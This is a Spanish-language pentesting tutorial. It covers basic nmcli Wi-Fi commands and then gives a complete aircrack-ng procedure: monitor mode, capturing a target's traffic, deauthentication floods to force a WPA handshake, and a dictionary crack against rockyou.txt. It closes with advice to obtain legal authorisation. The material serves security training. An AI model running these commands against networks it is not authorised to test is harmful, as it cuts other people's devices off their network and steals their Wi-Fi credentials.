Una red Wi-Fi es una tecnología de comunicación inalámbrica que permite conectar dispositivos electrónicos (celulares, computadoras, televisores) a internet o entre sí sin cables Utiliza ondas de radio, generalmente en frecuencias de 2.4 GHz, 5 GHz o 6 GHz, para transmitir datos desde un router o punto de acceso hacia los dispositivos.
Si queremos enumerar las redes disponibles cerca de nuestro entorno usaremos el siguiente comando:
Script: <- Enumeramos las redes disponibles.
nmcli dev wifi list
Si queremos conectarnos a una Red Wi-Fi usaremos el siguiente comando, cabe recordar que posteriormente a ello nos pedirán la contraseña si es que tiene una.
Script: <- Nos conectamos a las redes disponibles.
nmcli --ask dev wifi connect <BSSID de la Red que queramos entrar>
Si queremos desconectarnos de una Red Wi-Fi haremos el siguiente comando:
Script: <- Nos desconectamos de la red Wi-Fi.
nmcli dev disconnect iface wlan0
Aircrack-ng es un conjunto de herramientas de seguridad para redes inalámbricas (Wi-Fi) que se utiliza para evaluar la seguridad de redes inalámbricas y realizar pruebas de penetración. Es una suite de software que incluye varias utilidades para capturar paquetes, inyectar tráfico, descifrar contraseñas WEP y WPA/WPA2-PSK, y analizar redes Wi-Fi.
Al principio tenemos procesos corriendo que nos dificulta la labor de obtener el HandShake de mas adelante además de obtener el Modo: “Monitor”, para ello haremos el siguiente comando.
Script: <- Levantamos la Interfaz de Red. Matamos los procesos que hacen conflictos con nuestra Antena Wi-Fi y habilitamos nuestra Antena Wi-Fi en modo: “Monitor”.
ifconfig wlan0 down && ifconfig wlan0 up && airmon-ng check kill && airmon-ng start wlan0
Para escanear las redes Wi-Fi de nuestro alrededor usaremos el siguiente comando:
Script: <- Escaneamos las Redes Wi-Fi de nuestro alrededor.
airodump-ng wlan0
Ahora tenemos que obtener los dispositivos que se están interactuando con la Red Wi-Fi para posteriormente desautenticar al dispositivo elegido.
Script: <- Contemplamos los dispositivos que se autentican con la Red Wi-Fi elegida.
airodump-ng --bssid <BSSID de la Red> -c <Canal de la Red> -w captura wlan0
Cuando un cliente se reconecta a la red, envía un handshake (apretón de manos cifrado) que al tenerlo de nuestro lado podemos probarlo posteriormente con un diccionario y obtener las credenciales del acceso Wi-Fi.
Script: <- Hacemos la desautenticacion.
aireplay-ng -0 50 -a <BSSID de la Red> wlan0
Script: <- Hacemos la desautenticacion.
aireplay-ng -0 50 -a <BSSID de la Red> -c <Station del dispositivo elegido> wlan0
En ocasiones debemos elegir el canal donde esta el AP objetivo, para ello haremos el siguiente comando:
Script: <- Elegimos el canal correcto.
airmon-ng check kill && airmon-ng start wlan0 <CH> && aireplay-ng -0 50 -a <BSSID de la Red> wlan0
Si en las ventanas anteriores donde se ubican los dispositivos pone: “PMKID” significa que tenemos el HandShake:
Ya tenemos todo listo con el archivo necesario para hacer el ataque de Diccionario al archivo con el HandShake, para ello apuntamos al archivo con la extensión: “.cap” pasándole un diccionario como se muestra a continuación:
Script: <- Hacemos el ataque de Diccionario al archivo con el HandShake.
aircrack-ng -w /usr/share/wordlists/rockyou.txt <Archivo>.cap
Si todo sale correctamente y la contraseña de la Red Wi-Fi esta figurada dentro del diccionario obtendremos las credenciales de acceso.
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.